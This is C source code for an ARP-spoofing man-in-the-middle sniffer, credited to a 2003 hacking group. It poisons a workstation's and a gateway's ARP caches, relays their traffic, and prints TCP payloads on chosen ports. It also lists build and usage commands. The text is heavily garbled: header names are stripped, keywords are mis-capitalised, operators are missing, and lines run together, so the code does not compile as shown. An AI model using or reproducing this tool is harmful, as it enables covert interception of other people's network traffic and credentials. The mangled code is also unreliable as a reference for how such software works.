/ * ================================================================================================================================================================ ============================
CODER: PARIS-YE
ReleaseD on: 1/9/2003
Test on: Redhat 9.0
Our Team: www.bugkidz.org
Information:
This is a arp spoof sniffer.
W <--- Workstation
B <--- Server or Gateway
M <--- man in the middle (agent), Self IP Address
Make:
First You Must Install "PCAP" and "libnet"
GCC -I / usr / local / include -l / usr / local / lib -o sniffer sniffer.c -lpcap -lnet
USAGE:
./sniffer -i [interface] -M [Self IP] -w [Workstation IP] -S [Server IP] -p [Port]
============================================================================================================================================================================================================= =========================== * /
#include
#include
#include
#include
#include
#define maxbuf 1024 * 4
#define PCAP_TOUT 5
#define promisc 0
#define True 1
#define false 0
/ * Ethernet protocol id's * /
#define ethertype_pup 0x0200 / * Xerox Pup * /
#define ethertype_ip 0x0800 / * ip * /
#define ethertype_arp 0x0806 / * Address resolution * /
#define ethertype_revarp 0x8035 / * Reverse arp * // * This structure defines an ethernet arp header. * /
/ * ARP protocol opcodes. * /
#define arpop_request 1 / * ARP Request. * /
#define arpop_reply 2 / * ARP reply. * /
#define arpop_rrequest 3 / * Rarp Request. * /
#define arpop_rreply 4 / * Rarp reply. * /
#define arpop_inRequest 8 / * Inarp Request. * /
#define arpop_inreply 9 / * inarp reply. * /
#define arpop_nak 10/1 * (atm) arp nak. * /
/ * ARP protocol hardware identifiers. * /
#define arphrd_netrom 0 / * from ka9q: Net / ROM PSEUDO. * /
#define arphrd_ether 1 / * Ethernet 10 / 100Mbps. * /
#define arphrd_eether 2 / * Experimental Ethernet. * /
#define arphrd_ax25 3 / * AX.25 level 2. * /
#define arphrd_pronet 4 / * Pronet token Ring. * /
#define arphrd_chaos 5 / * chaosnet. * /
#define arphrd_ieee802 6 / * IEEE 802.2 Ethernet / TR / TB. * /
#define arphrd_arcnet 7 / * arcnet. * /
#define arphrd_appletlk 8 / * AppleTalk. * /
#define arphrd_dlci 15 / * frame relation dlci. * /
#define arphrd_atm 19 / * ATM. * /
#define arphrd_metricom 23 / * Metricom Strip (New IANA ID). * /
/ * Dummy Types for Non ARP HARDWARE * /
#define arphrd_slip 0x256
#define arphrd_cslip 0x257
#define arphrd_slip6 0x258
#define arphrd_cslip6 0x259
#define arphrd_rsrvd 0x260 / * NOTINAL KISS TYPE. * /
#define arphrd_adapt 0x264
#define arphrd_rose 0x270
#define arphrd_x25 0x271 / * ccitt x.25. * / # define arphdr_hwx25 0x272 / * Boards with x.25 in firmware. * /
#define arphrd_ppp 0x512
#define arphrd_cisco 0x513 / * Cisco HDLC. * /
#define arphrd_hdlc arphrd_cisco
#define arphrd_lapb 0x516 / * lapb. * /
#define arphrd_ddcmp 0x517 / * Digital's DDCMP. * /
#define arphrd_rawhdlc 0x518 / * RAW HDLC. * /
#define arphrd_tunnel 0x768 / * ipip tunnel. * /
#define arphrd_tunnel6 0x769 / * ipip6 tunnel. * /
#define arphrd_frad 0x770 / * frame relay access device. * /
#define arphrd_skip 0x771 / * Skip vif. * /
#define arphrd_loopback 0x772 / * loopback device. * /
#define arphrd_localtlk 0x773 / * localtalk device. * /
#define arphrd_fddi 0x774 / * fiber distributed data interface. * /
#define arphrd_bif 0x775 / * ap1000 bif. * /
#define arphrd_sit 0x776 / * SIT0 Device - IPv6-In-IPv4. * /
#define arphrd_ipddp 0x777 / * ip-in-ddp tunnel. * /
#define arphrd_ipgre 0x778 / * GRE over ip. * /
#define arphrd_pimreg 0x779 / * Pimsm register interface. * /
#define arphrd_hippi 0x780 / * High Performance Parallel i'face. * /
#define arphrd_ash 0x781 / * (NEXUS Electronics) ASH. * /
#define arphrd_econet 0x782 / * acorn eConet. * /
#define arphrd_irda 0x783 / * Linux-Irda. * /
#define arphrd_fcpp 0x784 / * Point to Point Fibrechanel. * /
#define arphrd_fcal 0x785 / * fibrechanel arbitrate loop. * / # define arphrd_fcpl 0x786 / * fibrechanel public loop. * /
#define arphrd_fcpfabric 0x787 / * fibrechanel fabric. * /
#define arphrd_ieee802_tr 0x800 / * Magic Type Ident for TR. * /
#define arphrd_ieee80211 0x801 / * IEEE 802.11. * /
/ * IP version Number * /
#define ipversion 4
Struct Ether_Header
{
U_INT8_T Ether_DHOST [6]; / * Destination Eth Addr * /
U_INT8_T Ether_SHOST [6]; / * Source Ether Addr * /
U_INT16_T Ether_TYPE; / * PACKET TYPE ID FIELD * /
}
Struct Arphdr
{
Unsigned short int Ar_hrd; / * format of hardware address. * /
UNSIGNED SHORT INT AR_PRO; / * FORMAT OF Protocol Address. * /
Unsigned char ar_hln; / * length of hardware address. * /
Unsigned char Ar_pln; / * length of protocol address. * /
Unsigned short int Ar_op; / * arp opcode (command). * /
Unsigned char __AR_SHA [6]; / * sender hardware address. * /
Unsigned char __ar_sip [4]; / * sender ip address. * /
Unsigned char __AR_THA [6]; / * Target Hardware address. * /
Unsigned char __AR_tip [4]; / * target ip address. * /
}
/ *
* Structure of an Internet header, Naked of Options.
* /
Struct iphead
{
Unsigned int ip_hl: 4; / * header length * /
Unsigned int ip_v: 4; / * version * /
U_INT8_T IP_TOS; / * TYPE OF Service * /
u_short ip_len; / * Total length * /
U_SHORT IP_ID; / * IDENTIFICATION * /
U_SHORT IP_OFF; / * FRAGMENT OFFSET FIELD * /
U_INT8_T IP_TTL; / * TIME TO LIVE * /
U_INT8_T IP_P; / * Protocol * / u_short ip_sum; / * checksum * /
U_CHAR IP_SRC [4], IP_DST [4]; / * Source and dest address * /
}
Struct TCPHEAD
{
U_INT16_T TH_SPORT; / * SOURCE Port * /
u_INT16_T TH_DPORT; / * DESTINATION Port * /
U_INT32_T TH_SEQ; / * SEQUENCE NUMBER * /
U_INT32_T TH_ACK; / * ACKNOWEDGEMENT NUMBER * /
U_INT8_T TH_OFF: 4; / * Data Offset * /
U_INT8_T TH_X2: 4; / * (unused) * /
U_INT8_T TH_FLAGS;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define t_push 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
U_INT16_T TH_WIN; / * WINDOW * /
U_INT16_T TH_SUM; / * CHECKSUM * /
U_INT16_T TH_URP; / * Urgent Pointer * /
}
/ *
* W, S, M 's ip and mac address
* /
Struct ipmacaddr
{
U_CHAR IPW [4];
U_CHAR MACW [6];
U_CHAR IPS [4];
U_CHAR MACS [6];
U_CHAR IPM [4];
U_CHAR MACM [6];
}
Int usage (char * argv)
{
Printf ("============================================== / n");
Printf ("============= ARP Sniffer ====================== / n");
Printf ("============================ / n");
Printf ("=== USAGE:% s -i [interface] -M [Self IP] -w [Workstation IP] -S [Server IP] -p [port] / n", argv);
Printf ("=== for eXample: / n");
Printf ("/ T% s -i eth0 -m 192.168.0.6 -w 192.168.0.4 -s 192.168.0.254/n" ,arv );Return 0;
}
/ * Send ARP Packet Function * /
Int arpsend (libnet_t * lnet, u_char * smac, u_char * sip, u_char * dmac, u_char * DIP)
{
INT RET = 0;
U_CHAR * PACKET;
u_long packets;
LIBNET_PTAG_T T;
Struct ether_header * ethh;
Struct arphdr * arph;
Packets = sizeof (struct ether_header) sizeof (struct arphdr);
Packet = malloc (packets);
Ethh = (struct ether_header *) packet;
ARPH = (struct arphdr *) (packet sizeof (struct ether_header);
Memcpy (Ethh-> Ether_DHOST, DMAC, 6);
Memcpy (Eth-> Ether_SHOST, SMAC, 6);
Ethh-> ether_type = htons (ethertype_arp);
Arph-> ar_hrd = htons (arpop_request);
Arph-> ar_pro = htons (arphrd_ieee802_tr);
Arph-> ar_hln = 6;
Arph-> ar_pln = 4;
Arph-> ar_op = htons (arphrd_ether);
Memcpy (arph -> __ ar_sha, smac, 6);
Memcpy (arph -> __ ar_sip, sip, 4);
Bzero (arph -> __ ar_tha, 6);
Memcpy (arph -> __ ar_tip, dip, 4);
RET = Libnet_Write_LINK
LNET,
Packet,
Packets
);
IF (RET == -1)
{
Return False;
}
Return True;
}
/ * Send Spoof ARP S AND W EVERY 6 SECOND Interval * /
Void Arpspoof (libnet_t * lnet, struct ipmacaddr * ipmac)
{
While (True)
{
Arpsend (Lnet, IPMAC-> MACM, IPMAC-> IPS, IPMAC-> MACW, IPMAC-> IPW);
Arpsend (Lnet, IPMAC-> Macm, IPMAC-> IPW, IPMAC-> MACS, IPMAC-> IPS);
Sleep (6);
}
}
/ * Forward Packets W ---> s OR S ---> w * /
INT ForwardDate (libnet_t * lnet, const u_char * packet, int LEN, u_characw, u_char * macs, u_char * macm)
{
INT RET = 0;
Const u_char * datapoint = packet;
Struct ether_header * ethhdr;
Struct iphead * iPh;
Ethhdr = (struct ether_header *) DataPoint;
IF (ntohdr-> ether_type! = ethertype_ip) Return True;
IF (! Memcmp (Ethhdr-> Ether_SHOST, MACM, 6)) / * if the source mac is agent (m) 'S com back * /
Return True;
IF (Memcmp (Ethhhdr-> Ether_DHOST, MACM, 6)) / * if The source mac destination is't agent (m) 's com back * /
Return True;
IF (! MEMCMP (Ethhdr-> Ether_SHOST, MACW, 6)) / * if The source Mac is W's (Workstation) * /
{
Memcpy (Ethhdr-> Ether_SHOST, MACM, 6);
Memcpy (Ethhdr-> Ether_DHOST, MACS, 6);
RET = Libnet_Write_LINK
LNET,
(U_CHAR *) DataPoint,
Len
);
}
IF (! MEMCMP (Ethhhdr-> Ether_SHOST, MACS, 6)) / * if The Source Mac Is S S'S (Server) * /
{
Memcpy (Ethhdr-> Ether_SHOST, MACM, 6);
Memcpy (Ethhdr-> Ether_DHOST, MACW, 6);
RET = Libnet_Write_LINK
LNET,
(U_CHAR *) DataPoint,
Len
);
}
Return True;
}
/ * Print Hex Date to ASCII * /
Void Printdat (u_char * packet, int LEN)
{
INT i = 0, J = 0;
U_CHAR STR [16];
For (i = 0; i <= len-16; i = 16)
{
Memcpy (Str, Packet i, 16);
FPRINTF (stdout, "% 02x% 02x% 02x% 02x% 02x% 02x% 02x% 02x% 02x% 02x% 02x% 02x% 02x% 02x% 02x% 02X",
Str [0], STR [1], STR [2], STR [3],
Str [4], STR [5], STR [6], STR [7],
STR [8], STR [9], STR [10], STR [11],
STR [12], STR [13], STR [14], STR [15]
);
For (j = 0; j <16; j )
{
IF (STR [J] 32 || Str [J]> 126)
STR [J] = '.';
}
FPRINTF (stdout, "% C% C% C% C% C% C% C% C% C% C% C% C% C% C% C% C / N",
Str [0], STR [1], STR [2], STR [3],
Str [4], STR [5], STR [6], STR [7],
STR [8], STR [9], STR [10], STR [11],
STR [12], STR [13], STR [14], STR [15]
);
}
IF (i! = len)
{
Memcpy (Str, Packet i, 16);
For (j = 0; j <16; j )
{
IF (J% 4 == 0 && J! = 0)
FPRINTF (stdout, ");
IF ((i j) { FPRINTF (stdout, "% 02x", str [j]); } Else FPRINTF (stdout, ");} FPRINTF (stdout, "); For (j = 0; j <16; j ) { IF ((i j) { IF (STR [J] 32 || Str [J]> 126) STR [J] = '.'; FPRINTF (stdout, "% c", str [j]); } } FPRINTF (stdout, "/ n / n"); } } / * parse packet * / INT PARSEDATE (const u_char * packet, int LEN, u_CHAR * MACW, U_CHAR * MACS, U_CHAR * MACM, U_CHAR * IPW, U_CHAR * IPS, INT * PORT) { INT i = 0; Int contents; U_CHAR * Content; Const u_char * datapoint = packet; Struct ether_header * ethhdr; Struct iphead * iPh; Struct tcphead * tcph; Ethhdr = (struct ether_header *) DataPoint; iPh = (struct iphead *) (Struct Ether_Header); TCPH = (struct TCPHEAD *) (Struct Ether_Header) SizeOf (struct iphead)); IF (Memcmp (Ethhhdr-> Ether_SHOST, MACW, 6) && Memcmp (Ethhhdr-> Ether_SHOST, MACS, 6)) Return False; IF (Memcmp (Ethhdr-> Ether_DHOST, MACM, 6)) Return False; IF (ntohdr-> ether_type)! = ethertype_ip) Return False; IF (iPh-> ip_v! = 4 || iPh-> ip_hl! = 5) Return False; IF (! (! Memcmp_DST, IPW, 4) ||! Memcmp (iPh-> IP_SRC, IPW, 4))) Return False; IF (iPh-> ip_p! = ipproto_tcp) Return False; Contents = HTONS (iPh-> ip_len) -sizeof (struct iphead) -sizeof (struct tcphead); CONTENT = (u_char *) (DataPoint SizeOf (Struct Ether_Header) sizeof (struct tcphead); IF ((TCPH-> TH_FLAGS & TH_PUSH)) { For (i == 0; port [i]! = 0; i ) { Printf ("=====% D% D / N", port [i], htons (tcph-> t_dport)); IF (port [i] == htons (tcph-> th_dport) || port [i] == htons (tcph-> t_sport)) Break; } IF (port [i] == 0) return; Printf ("SIZE: [% D] [% D.% d.% d.% d:% d] -> [% D.% d.% d.% d:% d] / n", htons (iPh -> ip_len), IPH-> ip_src [0], iph-> ip_src [1], iph-> ip_src [2], iph-> ip_src [3], htons (tcph-> t_sport), IPH-> IP_DST [0], IPH-> IP_DST [1], IPH-> IP_DST [2], IPH-> IP_DST [3], HTONS (TCPH-> TH_DPORT) ); PrintDat (Content, Contents); } Return True; } / * Sniffer Packets * / INT Agentpacket (libnet_t * lnet, pcap_t * lpcap, struct ipmacaddr * ipmac, int * port) { Const u_char * packet; Struct PCAP_PKTHDR HDR; While (1) { Packet = PCAP_NEXT (LPCAP, & HDR); IF (packet == null || HDr.len == 0) CONTINUE; Parsedate (packet, hdr.len, ipmac-> macw, ipmac-> macs, ipmac-> macm, ipmac-> IPW, IPMAC-> IPS, Port) ForwardDate (lnet, packet, hdr.len, ipmac-> macw, ipmac-> macs, ipmac-> macm); } Return True; } / * When Initialize Get The S and W Mac Address Send ARP Request * / INT GETTARGETMAC (libnet_t * lnet, struct ipmacaddr * ipmac) { While (1) { Arpsend (Lnet, IPMAC-> MACM, IPMAC-> IPM, IPMAC-> MACW, IPMAC-> IPW); Arpsend (Lnet, IPMAC-> Macm, IPMAC-> IPM, IPMAC-> MACS, IPMAC-> IPS); Sleep (1); } Return True; } / * When Initialize Get The S and W Mac Address PARSE ARP Reply * / INT getMacaddress (Char * dev, libnet_t * lnet, pcap_t * lpcap, struct ipmacaddr * ipmac) { INT SKFD = 0; Unsigned int isgetmac = 0x0; PID_T PID = 0; Struct ifReq IFR; Const u_char * packet; Struct PCAP_PKTHDR HDR; Struct ether_header * ethhdr; Struct arphdr * arph; // ---------- Get Local Mac Adrress STRCPY (ifr.ifr_name, dev); SKFD = Socket (AF_INET, SOCK_DGRAM, 0); IF (SKFD <0) { Printf ("can't open socket! / n"); Return False; } IF (IOCTL (SKFD, SiociFhiFhwaddr, & IFR) <0) { Printf ("Can't Read Local Mac Address! / N"); Return False; } Memcpy (IPMAC-> Macm, IFR.IFR_HWADDR.SA_DATA, 6); CLOSE (SKFD); // ---------- Get Target Mac Address PID = fork (); IF (PID == 0) { GetTargetMac (LNET, IPMAC); Exit (True); } While (1) { Packet = PCAP_NEXT (LPCAP, & HDR); IF (packet == null || HDr.len == 0) CONTINUE; Ethhdr = (struct ether_header *) packet; ARPH = (struct arphdr *) (packet sizeof (struct ether_header); IF (Memcmp (Ethhdr-> Ether_DHOST, IPMAC-> Macm, 6)) CONTINUE; IF (ntohdr-> ether_type)! = ethertype_arp) CONTINUE; IF (! Memcmp, IPMAC-> IPW, 4) &&! Memcmp (Arph -> __ ar_tip, ipmac-> ipm, 4))) { Memcpy (IPMAC-> MACW, ARPH -> __ AR_SHA, 6); IsgetMac = 0xffff0000 | IsgetMac; } IF (! Memcmp, IPMAC-> IPS, 4) &&! Memcmp (Arph -> __ AR_TIP, IPMAC-> IPM, 4)) { Memcpy (IPMAC-> MACS, ARPH -> __ AR_SHA, 6); IsgetMac = 0x0000FFF | IsgetMac; } IF (isgetmac == 0xfffffff) Break; } Kill (PID, 9); Return True; } Int main (int Argc, char * argv []) { INT RET = 0, i = 0; CHAR * P, * S; Char C; Char string [] = "i: m: w: s: P:"; INT port [100]; CHAR DEV [32] = "" Struct ipmacaddr ipmac; PID_T PID; LIBNET_T * LNET; PCAP_T * LPCAP; BPF_U_INT32 NETP, MASKP; Struct BPF_Program FP; CHAR ERR [PCAP_ERRBUF_SIZE]; Char filterstr [] = ""; Unsigned int ipm; UNSIGNED IPW; UNSIGNED IPS; U_CHAR MACW [] = {255, 255, 255, 255, 255, 255, 255}; U_CHAR MACS [] = {255, 255, 255, 255, 255, 255, 255}; U_CHAR MACM [] = {255, 255, 255, 255, 255, 255, 255}; Bzero (& IPMAC, SIZEOF (Struct IPMacaddr); IF (Argc <8) { USAGE (Argv [0]); Return false;} While (c = getopt (argc, argv, string))! = EOF) { Switch (c) { Case ('I'): STRCPY (dev, optarg); Break; Case ('m'): IPM = INET_ADDR (OPTARG); Memcpy (IPMAC.IPM, (Void *) & IPM, 4); Break; Case ('W'): IPW = inet_addr (OPTARG); Memcpy (IPMAC.IPW, (Void *) & IPW, 4); Break; Case ('s'): IPS = INET_ADDR (OPTARG); Memcpy (IPMAC.IPS, (Void *) & IPS, 4); Break; Case ('P'): Printf ("% S / N", OPTARG; s = OPTARG; P = STRTOK (S, ":"); While (P) { Port [I] = ATOI (P); Printf ("% d / n", port [i]); P = strtok (null, ":"); i ; } Port [i] = 0; Break; DEFAULT: USAGE (Argv [0]); Return False; } } Memcpy (IPMAC.MACW, MACW, 6); Memcpy (IPMAC.MACS, MACS, 6); Memcpy (IPMAC.MACM, MACM, 6); RET = PCAP_LOOKUPNET (dev, & netp, & maskp, err); IF (RET == -1) { Printf ("Can't Initialize PCAP! [% S] / N", ERR); Return False; } LPCAP = PCAP_OPEN_LIVE DEV, Maxbuf, Promisc, PCAP_TOUT, Err ); IF (lpcap == null) { Printf ("Can't Initialize PCAP! [% S] / N", ERR); Return False; } RET = PCAP_Compile (LPCAP, & FP, Filterstr, 0, NETP); IF (RET == -1) { Printf ("Error PCAP_Compile! / N"); Return False; } RET = PCAP_SETFILTER (LPCAP, & FP); IF (RET == -1) { Printf ("ERROR PCAP_SETFILTER! / N"); Return False; } LNET = Libnet_init ( Libnet_link, DEV, Err); IF (LNET == NULL) { Printf ("CAN't Initialize Libnet! Please check the [dev] / n"); Return False; } Ret = getMacaddress (dev, lnet, lpcap, & ipmac); Printf ("Get Network Cards Mac Address: / N"); Printf ("M->% 02x:% 02x:% 02x:% 02x:% 02x:% 02x / N", IPMAC.MACM [0], IPMAC.MACM [1], IPMAC.MACM [2], IPMAC. Macm [3], IPMac.macm [4], IPMac.macm [5], IPMac.macm [6]); Printf ("W->% 02x:% 02x:% 02x:% 02x: 02x:% 02x / N ", IPMAC.MACW [0], IPMAC.MACW [1], IPMAC.MACW [2], IPMAC.MACW [3], IPMAC.MACW [4], IPMac.macw [5], IPMac.macw [ 6]); Printf ("S->% 02x:% 02x:% 02x: 02x:% 02x:% 02x / N", IPMac.macs [0], IPMAC.MACS [1], IPMAC.MACS [2], IPMAC. MACS [3], IPMAC.MACS [4], IPMAC.MACS [5], IPMAC.MACS [6]); Printf ("/ nnow start ... .. ./n"); IF (RET == FALSE) { Return False; } PID = fork (); IF (PID == 0) { Arpspoof (Lnet, & IPMAC); Return False; Else { AgentPacket (Lnet, LPCAP, & IPMAC, Port) } Libnet_Destroy (LNET); PCAP_CLOSE (LPCAP); Printf ("DONE / N"); Return True; }